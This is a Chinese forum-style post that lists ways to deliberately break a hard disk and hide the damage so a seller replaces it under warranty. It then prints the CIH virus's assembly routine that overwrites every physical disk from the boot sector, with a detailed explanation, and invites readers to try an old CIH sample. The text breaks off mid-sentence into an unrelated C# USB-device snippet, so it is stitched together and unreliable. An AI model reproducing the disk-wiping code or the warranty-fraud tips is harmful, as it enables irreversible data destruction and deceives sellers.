具体几个办法
1 拿硬盘狂摇。。嘿嘿,几个钟头下来就差不多了
2找个垃圾电源,copy几个几G的文件包,在硬盘上不停的copy和del,不长时间也可以
3 用棉被包起来,狠摔。别叫看出来了(这个是以前伙计去换波导手机的办法)
4 找些DM之类的低格软件。使劲的弄,很快的
4 网上有一个牛人做的软件,它可以往硬盘的任意一簇上(注意他就是往一个点上)写数据,据说每秒钟达到近千万次。一块硬盘不到两分钟就能写出一个不可修复的坏道。多来几次的话。。。
5 把硬盘上下各夹一本厚点的书放平,用拳头狠狠的2拳就够了,这样你拿去商家用专业的软件都检测不过的,不然的话他给你把坏的隔离掉说没有什么问题
6 带电状态下,短路硬盘上的线路,绝对 OVER
有想换硬盘的可以试下,哈哈!
另附上CIH病毒破坏硬盘原理和方法..有兴趣找个CIH老病毒来玩是个很省事的方法.
CIH对硬盘破坏之完全剖析
IOS_SendCommand是Win95的一个非常底层的VXD调用,通常是用作对IO设备的低层
*** 作,如:读,写,加锁,格式化等等。一般情况下只能在Ring 0和虚拟机中使用,在普通
程序中使用会有不可预料的后果!该VXD调用的功能很多,也很繁杂。参数数量很少,只有
BCB或IOR和BDD或DCB的地址。但这几个数据结构却包含了大量的信息,结构也相当的复杂
。CIH病毒只用到了IOR结构,它包含了近二十个数据,但主要用到的就是IOR_func,IOR_s
tatus,IOR_flags,IOR_start_addr[2],IOR_xfer_count,IOR_buffer_ptr,IOR_req_re
q_handle,IOR_req_vol_handle,IOR_sgd_lin_phys,IOR_num_sgds,IOR_vol_designtr!
IOS_SendCommand的调用方法是:
mov esi, CmdData address of BCB or IOR
mov edi, DevData address of BDD or DCB
VxDCall IOS_SendCommand
IOR的完整定义为:
typedef struct _IOR {
ULONG IOR_next// client linksee below
USHORT IOR_func// functionsee below
USHORT IOR_status// request statussee below
ULONG IOR_flags// request flagssee below
CMDCPLT IOR_callback// address of callbacksee below
ULONG IOR_start_addr[2]// starting addresssee below
ULONG IOR_xfer_count// # of sectors/bytessee below
ULONG IOR_buffer_ptr// client buffersee below
ULONG IOR_private_client// BlockDev/IOS client reserved
ULONG IOR_private_IOS// reserved space for IOS
ULONG IOR_private_port// private area for port driver
union urequestor_usage _ureq// requestor usagesee below
ULONG IOR_req_req_handle// request handlesee below
ULONG IOR_req_vol_handle// media handlesee below
ULONG IOR_sgd_lin_phys// first physical SGDsee below
UCHAR IOR_num_sgds// number of physical SGDs
UCHAR IOR_vol_designtr// drive lettersee below
USHORT IOR_ios_private_1// reserved by IOS to force alignment
ULONG IOR_reserved_2[2]// reserved for internal use
} IOR, *PIOR
CIH病毒先构造一个IOR,再使用IOS_SendCommand调用,完成IOR所指定的功能。
病毒在IOR中的IOR_flags中指示要写的设备为物理设备(IORF_PHYS_CMD),同步调用(IORF
_SYNC_COMMAND),即在写 *** 作完成之后才返回。然后指定第一次写的位置为0(IOR_start_a
ddr[2]即0柱面0面0扇区,即主引导区),每次写入2048个字节(IOR_xfer_count),第一次
为物理硬盘一(IOR_vol_designtr=80h),需要写入的东西放在内存0c0001000h(IOR_buffe
r_ptr),这个地址是无所谓的,目的只是要随便写一大串无关数据到硬盘上,只要该地址不
是指向不存在的内存空间即可。最后CIH调用IOS_SendCommand,完成一次写 *** 作! *** 作完
成后,先判断状态(IOR_status),看是否有该设备是否正常,是则每次2048字节的一直写
下去。如果写完一个硬盘(不太可能)或出错则把IOR_vol_designtr+1使之指向下一个物理
硬盘!
程序注释如下:
***************************
* Kill All HardDisk *
***************************************************
* IOR Structure of IOS_SendCommand Needs *
***************************************************
* ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
* 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
* ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
* ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
* ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
***************************************************
0001为写功能IOR_WRITE
40000501h为IOR_flags=1000000000000000000010100000001
IORF_PHYS_CMD|IORF_VERSION_002|IORF_SYNC_COMMAND|IORF_HIGH_PRIORITY
IORF_PHYS_CMD指示为物理设备
IORF_SYNC_COMMAND指示为同步命令( *** 作完成后才返回)
IORF_VERSION_002指示为扩展BCB(IOR)格式的IO请求
IOR_start_addr[2]=00 00 00 00 00 00 00 00起始位置
(注意:不是扇区,而是字节)为0
IOR_xfer_count=800h写入2048个字节
IOR_buffer_ptr=0c0001000h要写的内容在地址0c0001000h
IOR_vol_designtr=80h为第一个物理硬盘81h为第二个
KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx
mov esi, esp
sub esp, 0ach
以压栈的形式构造IOR(就是上面那一大串数据)
LoopOfKillHardDisk:
int 20h
dd 00100004h 调用 IOS_SendCommand
cmp word ptr [esi+06h], 0017h
IOR_status=17h=IORS_NO_DEVICE设备正常
否?
je KillNextDataSection 写下一块
ChangeNextHardDisk:
inc byte ptr [esi+4dh]
下个硬盘,80h为第一个物理硬盘81h为第二个
jmp LoopOfKillHardDisk 继续杀杀杀!!!!
KillNextDataSection:
add dword ptr [esi+10h], ebx
下个区域(以800h为一块)
mov byte ptr [esi+4dh], FirstKillHardDiskNumber
第一个物理硬盘80h
jmp LoopOfKillHardDisk 继续杀杀杀!!!!
CIH病毒发作时,先破坏Flash Memory,随后就是硬盘。有些计算机在Flash Memo
ry被破坏后就完全当机了。那要恭喜你,你的硬盘不会有太大的损失。因为Flash Memory
中装有非常重要的程序和信息如BIOS,一旦破坏,机器完全死掉的可能性相当大。既然当
掉了,程序很可能执行不到杀硬盘的模块或执行一会儿便完全死机。你的硬盘就会有相当
大的可能恢复!但是,如果病毒程序运行顺利,正如上面程序所示的,它会每次2048个字
节的从主引导区开始写硬盘。直到分区引导区,主目录表,文件分配表,数据区......直
至写完整个硬盘。然后再开始杀第二个物理硬盘。是不是太黑了!这只是CIH病毒程序所预
计的理想情况,毕竟每次写2048个字节还是比较慢。普通一个上GB的硬盘,一个柱面有63
个扇区,要写完主引导区所在的0柱面0面的63个扇区也要花点时间!如果继续写下去,破
坏掉一些Win95正常运行所必须的一些文件数据,就很可能当机,这时,绝大都数人都会
Reset。这样的话,你就很有可能保存了相当部分地硬盘数据!这就是被CIH破坏了的硬盘
有可能用软件修复的真正原因!但千万不要以为那些软件的功能很强,足以修复所有硬盘
。硬盘的关键数据丢失太多的话,任何人都没有办法。所以修复概率很大程度上是依赖你
在病毒发作后关机的时间!时间越短,丢失的数据越少,修复的可能就越大!如果只有主
引导区被覆盖,那修复的可能有100%。如果分区引导区被覆盖,那修复的可能有99%。主
目录表被覆盖修复的可能有,但要手动恢复。如果文件分配表被覆盖,几乎不可能修复。
如果数据区被覆盖,那就彻底没有希望了!实际的情况还要复杂一些,通常是顺序的数据
丢失。
综上所述,CIH病毒对硬盘的破坏是逻辑的,是极据破坏性的!一旦破坏,修复的
可能性较小。一旦发作,要尽快的重起或关机,尽量减少损失!在奉劝各位一句,千万不要
在没有把握的情况下,把以上程序编译执行,那将导致非常严重的后果!其实要达到以上
C# 实现d出U盘代码:ublic List<Device>Devices
{
get
{
if (_devices == null)
{
_devices = new List<Device>()
int index = 0
while (true)
{
Native.SP_DEVICE_INTERFACE_DATA interfaceData = new Native.SP_DEVICE_INTERFACE_DATA()
interfaceData.cbSize = (UInt32)Marshal.SizeOf(interfaceData)
if (!Native.SetupDiEnumDeviceInterfaces(_deviceInfoSet, IntPtr.Zero, ref _classGuid, (UInt32)index, ref interfaceData))
{
int error = Marshal.GetLastWin32Error()
if (error != Native.ERROR_NO_MORE_ITEMS)
throw new Win32Exception(error)
break
}
Native.SP_DEVINFO_DATA devData = new Native.SP_DEVINFO_DATA()
IntPtr p = Marshal.AllocHGlobal(Marshal.SizeOf(devData))
Marshal.StructureToPtr(devData, p, true)
UInt32 size = 0
if (!Native.SetupDiGetDeviceInterfaceDetail(_deviceInfoSet, ref interfaceData, IntPtr.Zero, 0, ref size, p))
{
int error = Marshal.GetLastWin32Error()
if (error != Native.ERROR_INSUFFICIENT_BUFFER)
throw new Win32Exception(error)
}
Native.SP_DEVICE_INTERFACE_DETAIL_DATA detailDataBuffer = new Native.SP_DEVICE_INTERFACE_DETAIL_DATA()
if (IntPtr.Size == 8) // for 64 bit operating systems
{
detailDataBuffer.cbSize = 8
}
else
{
detailDataBuffer.cbSize = 4 + Marshal.SystemDefaultCharSize// for 32 bit systems
}
IntPtr pBuf = Marshal.AllocHGlobal(Marshal.SizeOf(detailDataBuffer))
Marshal.StructureToPtr(detailDataBuffer, pBuf, true)
if (!Native.SetupDiGetDeviceInterfaceDetail(_deviceInfoSet, ref interfaceData, pBuf, size, ref size, p))
{
int error = Marshal.GetLastWin32Error()
if (error != Native.ERROR_INSUFFICIENT_BUFFER)
throw new Win32Exception(error)
}
devData = (Native.SP_DEVINFO_DATA)Marshal.PtrToStructure(p, typeof(Native.SP_DEVINFO_DATA))
Marshal.FreeHGlobal(p)
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)